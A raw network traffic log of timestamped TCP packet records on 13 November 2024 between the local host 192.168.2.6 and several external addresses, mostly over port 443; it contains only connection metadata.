Nov 13, 2024 18:08:24.578247070 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.578406096 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.578464985 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.587897062 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.587951899 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.587997913 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.605287075 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.605722904 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.605806112 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.616264105 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.616286993 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.616298914 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.616303921 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.622878075 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.622908115 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.622936964 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.622945070 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.627450943 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.627450943 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.627485037 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.627504110 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.704741001 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.704787970 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.704858065 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.708715916 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.708739042 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.718976974 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.719013929 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.719161987 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.719400883 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.719412088 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.755552053 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.755583048 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.755630970 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.824783087 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.824812889 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.824866056 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.824901104 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.824922085 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.848059893 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.848078966 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.851999044 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.852034092 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.852094889 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.852334023 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.852349997 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.448044062 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.462327003 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.472421885 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.472421885 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.472454071 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.472475052 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.476125956 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.476125956 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.476147890 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.476155996 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.553661108 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.575695038 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.575711966 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.576339960 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.576344013 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.589667082 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.590276003 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.590290070 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.590708017 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.591144085 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.591149092 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.597670078 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.597677946 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.597698927 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.597702026 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.600399017 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.600459099 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.600626945 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.603411913 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.603563070 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.603734016 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.606894016 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.606914997 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.606946945 CET	49815	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.606955051 CET	443	49815	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.607127905 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.607141018 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.607167006 CET	49816	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.607172966 CET	443	49816	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.699667931 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.699843884 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.701831102 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.724956989 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.725356102 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.725676060 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.740866899 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.741022110 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.746026039 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.917462111 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.917463064 CET	49817	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.917478085 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.917503119 CET	443	49817	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.918917894 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.918917894 CET	49818	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.918946028 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.918955088 CET	443	49818	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.919930935 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.919944048 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:25.920685053 CET	49819	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:25.920692921 CET	443	49819	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.202025890 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.202054977 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.202222109 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.619931936 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.619976044 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.620043993 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.631874084 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.631895065 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.705866098 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.705903053 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.765662909 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:26.765719891 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:26.766087055 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:26.789874077 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:26.789913893 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:26.789983988 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:26.796647072 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:26.796684027 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:26.797446966 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:26.797468901 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:26.802984953 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.803021908 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.803162098 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.815737963 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.815761089 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.815815926 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.817116976 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.817156076 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.817198992 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.818855047 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.818869114 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.882906914 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.882937908 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.883415937 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:26.883440018 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:26.972232103 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:26.972232103 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:26.977333069 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:26.977379084 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:26.977390051 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:26.977405071 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:26.979190111 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.378623962 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.378635883 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.378647089 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.379148960 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.379245043 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.379338980 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:27.379338980 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:27.379544020 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.379906893 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.379919052 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.380666018 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.380685091 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:27.380685091 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:27.381244898 CET	443	49711	40.126.32.133	192.168.2.6
Nov 13, 2024 18:08:27.381664038 CET	49711	443	192.168.2.6	40.126.32.133
Nov 13, 2024 18:08:27.397419930 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.416111946 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.416132927 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.416950941 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.416955948 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.449264050 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.458839893 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.458887100 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.463625908 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.463634968 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.556308985 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.556365967 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.556420088 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.556435108 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.556505919 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.556549072 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.558738947 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.563064098 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.563076973 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.563085079 CET	49820	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.563088894 CET	443	49820	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.592585087 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.593617916 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.593802929 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.613666058 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.613693953 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.614053965 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.614070892 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.624185085 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.624185085 CET	49823	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.624217987 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.624233961 CET	443	49823	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.627219915 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.627751112 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.627774000 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.627826929 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.629416943 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.629440069 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.629492044 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.629642010 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.629662037 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.631109953 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.631141901 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.631535053 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.631541967 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.640942097 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.640999079 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.641017914 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.641463041 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.641493082 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.641961098 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.641967058 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.772509098 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.772592068 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.772605896 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.772685051 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.772689104 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.772706985 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.772722006 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.772821903 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.781729937 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.781729937 CET	49831	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.781771898 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.781807899 CET	443	49831	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.782273054 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.782273054 CET	49830	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.782300949 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.782313108 CET	443	49830	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.782444954 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.782646894 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.782699108 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.783740044 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.783752918 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.783767939 CET	49832	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.783775091 CET	443	49832	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.806313038 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.806341887 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.806407928 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.811920881 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.811955929 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.812012911 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.815920115 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.815964937 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.816015959 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.821810961 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.821826935 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.821980000 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.822002888 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.822452068 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:27.822482109 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:27.884246111 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.885734081 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.885761023 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.886785030 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.886851072 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.888732910 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.888825893 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.888917923 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.888937950 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.902216911 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.903342962 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.903376102 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.904335022 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.905451059 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.905451059 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:27.905571938 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:27.942374945 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:28.043057919 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:28.043081999 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:28.128622055 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:28.139153957 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:28.139242887 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:28.139377117 CET	443	49829	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:28.139570951 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:28.139570951 CET	49829	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:28.232007027 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:28.382635117 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.405517101 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.405517101 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.405534983 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.405538082 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.408900976 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.449331999 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.449331999 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.449353933 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.449366093 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.533195019 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.533236027 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.533313990 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.533329964 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.533381939 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.533404112 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.533488035 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.558300018 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.558995962 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.566967010 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.601716995 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.601738930 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.601799011 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.601921082 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.602068901 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.613004923 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.613018036 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.613029957 CET	49836	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.613034964 CET	443	49836	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.613269091 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.613269091 CET	49837	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.613289118 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.613305092 CET	443	49837	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.631016970 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.631042004 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.635529041 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.640592098 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.640599012 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.649943113 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.649959087 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.651206970 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.651209116 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.651217937 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.654942989 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.654951096 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.655612946 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.655617952 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.723117113 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:28.723253965 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.723262072 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:28.723297119 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.723447084 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.785331011 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.785419941 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.787396908 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.787456036 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.787497997 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.787695885 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:28.788291931 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.788459063 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:28.789117098 CET	49841	443	192.168.2.6	13.107.246.45
